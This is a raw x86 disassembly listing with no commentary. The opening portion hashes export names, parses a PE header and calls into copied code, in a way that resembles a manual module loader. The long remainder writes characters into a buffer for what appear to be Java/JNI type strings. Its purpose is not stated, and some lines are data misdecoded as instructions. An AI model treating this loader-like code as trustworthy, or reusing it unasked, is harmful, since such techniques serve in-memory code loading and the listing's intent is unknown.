nop
imul ecx, edx
movsx ebx, byte [edi]
movzx ebx, bx
add ecx, ebx
inc edi
dec eax
jne 0x67379fd2
int1
cmp ecx, dword [esp + 0x20]
je 0x6737a018
inc esi
add dword [esp + 8], 0x8a
mov eax, dword [esp + 0x18]
cmp esi, dword [eax]
jb 0x67379fa2
mov dword [esp + 0x20], 0
mov dword [esp + 0x18], 0
jmp 0x6737a03a
mov dword [esp + 0x20], 0
mov esi, dword [esp + 0x14]
jmp 0x6737a042
mov ecx, dword [esp + 0xc]
dec esp
and al, 0xc
mov edx, dword [esp + 0x24]
mov eax, dword [ecx + edx + 0x86]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x18]
add eax, dword [ecx + edx + 0x82]
mov dword [esp + 0x18], eax
mov esi, dword [esp + 0x14]
mov ebx, dword [esp + 0x40]
push 0x20a
push 0x40
call dword [esp + 0x24]
mov edi, eax
add ebx, 0xf4
mov ecx, ebx
call fcn.6737a192
add byte [eax], al
add byte [ecx + 0x136e8d9], cl
add byte [eax], al
test eax, eax
je 0x6737a06d
nop
nop
movsx ecx, byte [ebx + eax]
mov word [edi + eax*2], cx
dec eax
jne 0x6737a062
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x44]
lea eax, [ecx + eax + 0x3dd]
mov dword [esp + 8], eax
movsx eax, byte [ebx]
mov word [edi], ax
add edi, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi - 2], 0
lea edi, [edi + 2]
jne 0x6737a092
nop
nop
nop
nop
nop
nop
cmp word [edi - 4], 0x5c
lea edi, [edi - 2]
jne 0x6737a0a2
push 0x20a
push 0x40
call dword [esi + 0x64]
mov ebx, eax
mov ecx, edi
call fcn.6737a252
test eax, eax
je 0x6737a0e1
push ds
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, word [edi]
mov word [ecx], dx
add ecx, 2
add edi, 2
dec eax
jne 0x6737a0d2
push ebx
call dword [esi + 0x34]
mov edi, eax
mov eax, dword [eax + 0x3c]
add edi, dword [edi + eax + 0x2c]
mov esi, dword [esp + 0x20]
push esi
push 0x40
call dword [esp + 0x24]
mov ebx, eax
mov ecx, eax
mov edx, edi
push esi
call fcn.6737a202
add esp, 4
mov eax, dword [esp + 8]
mov dword [eax + 0xcc0], ebx
mov dword [eax + 0xcc4], 0
mov dword [esp + 0x58], 0
lea eax, [esp + 0x58]
push eax
mov eax, dword [esp + 8]
push dword [eax + 0xf8]
push esi
push edi
add byte [esi + 0x57], dl
mov ebx, dword [esp + 0x5c]
call ebx
mov ecx, edi
mov edx, dword [esp + 0x18]
push esi
call fcn.6737a202
add esp, 4
lea eax, [esp + 0x58]
push eax
push dword [esp + 0x5c]
push esi
push edi
call ebx
mov eax, dword [esp + 4]
mov eax, dword [eax + 0xf8]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], esi
and al, 0x38
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x14]
push dword [esp + 0x10]
push dword [esp + 0x38]
call edi
add esp, 0x10
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp]
movsx eax, byte [eax + ecx]
cmp eax, 0
je 0x6737a1bb
mov eax, dword [esp]
add eax, 1
mov dword [esp], eax
jmp 0x6737a1a0
mov eax, dword [esp]
add esp, 8
ret
mov eax, dword [esp + 4]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 4], ecx
cmp eax, 0
jbe 0x6737a1f6
mov eax, dword [esp]
mov ecx, eax
add ecx, 1
mov dword [esp], ecx
mov byte [eax], 0
jmp 0x6737a1d4
add esp, 0xc
ret
or byte [ebx - 0x76efdbbc], cl
rol dword [ebx + 0x4c89ffc1], 0x24
adc byte [ebx + 0x217400f8], al
mov eax, dword [esp + 0x10]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0x10], ecx
cmp eax, 0
je 0x6737a24a
mov eax, dword [esp + 4]
mov al, byte [eax]
mov ecx, dword [esp]
mov byte [ecx], al
mov eax, dword [esp]
add eax, 1
mov dword [esp], eax
mov eax, dword [esp + 4]
add eax, 1
mov dword [esp + 4], eax
jmp 0x6737a217
add esp, 0xc
ret
int3
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x63
mov eax, 1
jmp 0x67376376
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x65
mov edx, 1
jmp 0x67376356
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x64
mov eax, 1
jmp 0x67376335
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x73
mov edx, 1
jmp 0x67375e9a
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x65
mov eax, 1
jmp 0x67375e79
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x72
mov edx, 1
jmp 0x67375e59
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x20
mov eax, 1
jmp 0x67375e38
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x61
mov edx, 1
jmp 0x67375e18
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x76
mov eax, 1
jmp 0x67375df7
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x61
mov edx, 1
jmp 0x67375dd7
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6a
mov eax, 1
jmp 0x67375db6
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x63
mov edx, 1
jmp 0x67375f1c
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x72
mov eax, 1
jmp 0x67375efb
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x75
mov edx, 1
jmp 0x67375edb
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6f
mov eax, 1
jmp 0x67375eba
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x72
mov eax, 1
jmp 0x67376a9b
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6f
mov edx, 1
jmp 0x67376a7b
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x66
mov eax, 1
jmp 0x67376a5a
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x20
mov edx, 1
jmp 0x67376a3a
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x73
mov eax, 1
jmp 0x67376a19
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x61
mov edx, 1
jmp 0x673769f9
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x69
mov eax, 1
jmp 0x673769d8
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6c
mov edx, 1
jmp 0x673769b8
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x61
mov eax, 1
jmp 0x67376997
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x20
mov edx, 1
jmp 0x67376977
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6e
mov eax, 1
jmp 0x67376956
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x65
mov edx, 1
jmp 0x67376936
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x64
mov eax, 1
jmp 0x67376915
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x64
mov edx, 1
jmp 0x673768f5
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x69
mov eax, 1
jmp 0x673768d4
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x68
mov edx, 1
jmp 0x673768b4
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x43
mov eax, 1
jmp 0x67376c27
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x20
mov edx, 1
jmp 0x67376c07
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x61
mov eax, 1
jmp 0x67376be6
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x76
mov edx, 1
jmp 0x67376bc6
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x73
mov eax, 1
jmp 0x67376ca9
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x73
mov edx, 1
jmp 0x67376c89
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x61
mov eax, 1
jmp 0x67376c68
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6c
mov edx, 1
jmp 0x67376c48
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6f
mov eax, 1
jmp 0x67376ca9
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x66
mov edx, 1
jmp 0x67377bbd
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67375ad7
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x72
mov eax, 1
jmp 0x67375a52
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x65
mov edx, 1
jmp 0x67375a32
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x70
mov eax, 1
jmp 0x67375a11
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6f
mov edx, 1
jmp 0x673759f1
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x70
mov edx, 1
jmp 0x67376164
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x79
mov eax, 1
jmp 0x67376143
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x74
mov edx, 1
jmp 0x67376123
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x20
mov eax, 1
jmp 0x67376102
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x64
mov edx, 1
jmp 0x673760e2
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x65
mov eax, 1
jmp 0x673760c1
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6d
mov edx, 1
jmp 0x673760a1
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x61
mov eax, 1
jmp 0x67376080
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x65
mov eax, 1
jmp 0x67377e05
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6e
mov edx, 1
jmp 0x67376060
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6e
mov eax, 1
jmp 0x6737603f
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x75
mov edx, 1
jmp 0x6737601f
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x7b
mov eax, 1
jmp 0x67375ffe
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x72
mov eax, 1
jmp 0x67375ad4
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x6f
mov edx, 1
jmp 0x67375ab4
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x74
mov eax, 1
jmp 0x67375a93
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x61
mov edx, 1
jmp 0x67375a73
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67375d4b
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67375d18
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x673781b9
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67378179
mov eax, dword [edx + 4]
mov edx, dword [eax + 8]
mov dword [ebp - 0x70], edx
mov edi, dword [eax + 4]
test edx, edx
je 0x67375b1c
mov eax, dword [ebx + 0x104]
xor esi, esi
lea ecx, [ebx + 4]
mov dword [ebp - 0x74], ecx
jmp 0x6737b1aa
mov ecx, eax
inc eax
mov byte [ebx + ecx + 4], dl
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], dl
inc esi
cmp dword [ebp - 0x70], esi
jbe 0x67375b1c
mov dl, byte [edi + esi]
cmp eax, 0xff
jne 0x6737b18d
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
mov byte [ebp - 0x8c], dl
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor ecx, ecx
mov dl, byte [ebp - 0x8c]
jmp 0x6737b190
mov edx, dword [edx + 4]
cmp dword [edx + 8], 1
jne 0x67375b49
mov edx, dword [edx + 4]
cmp byte [edx], 0x3e
jne 0x67375b49
cmp dword [ebx + 0x104], 0xff
je 0x6737bc05
mov eax, dword [ebx + 0x104]
mov byte [ebx + eax + 4], 0x28
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x28
mov esi, dword [ebp - 0x6c]
mov eax, dword [esi + 8]
jmp 0x67375b49
mov esi, dword [edx + 4]
mov edi, str.JArray
mov ecx, 6
repe cmpsb byte [esi], byte es:[edi]
jne 0x67378151
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax + 8]
mov eax, ebx
call fcn.6737594c
mov edx, 0x673a0896
mov eax, ebx
call fcn.673755c8
jmp 0x673781cb
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov eax, 1
xor edx, edx
jmp 0x6737720f
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 8]
mov ecx, dword [edx]
test ecx, ecx
jne 0x67375d04
cmp eax, 0x36
je 0x6737bb38
mov eax, ebx
call fcn.6737594c
sub esi, 2
cmp esi, 4
ja case.default.0x6737b2da
jmp dword [esi*4 + 0x673a0a90]
mov edx, 0x673a0930
mov eax, ebx
call fcn.673755c8
jmp case.default.0x6737b2da
mov edx, 0x673a092d
mov eax, ebx
call fcn.673755c8
jmp case.default.0x6737b2da
cmp dword [ebx + 0x104], 0xff
je 0x6737bc50
mov eax, dword [ebx + 0x104]
mov byte [ebx + eax + 4], 0x6c
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x6c
jmp case.default.0x6737b2da
cmp dword [ebx + 0x104], 0xff
je 0x6737bc8a
mov eax, dword [ebx + 0x104]
mov byte [ebx + eax + 4], 0x75
inc eax
mov dword [ebx + 0x104], eax
mov byte [ebx + 0x108], 0x75
jmp case.default.0x6737b2da
mov edx, 0x673a0933
mov eax, ebx
call fcn.673755c8
jmp case.default.0x6737b2da
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov edx, 1
xor eax, eax
jmp 0x67377859
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor eax, eax
jmp 0x673774ac
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
xor eax, eax
jmp 0x67378c9b
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x63
mov edx, 1
jmp 0x673772bd
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
inc dword [ebx + 0x124]
mov byte [ebx + 4], 0x63
mov eax, 1
jmp 0x6737729c
mov byte [ebx + 0x103], 0
mov eax, dword [ebx + 0x110]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebx + 4]
mov dword [esp], eax
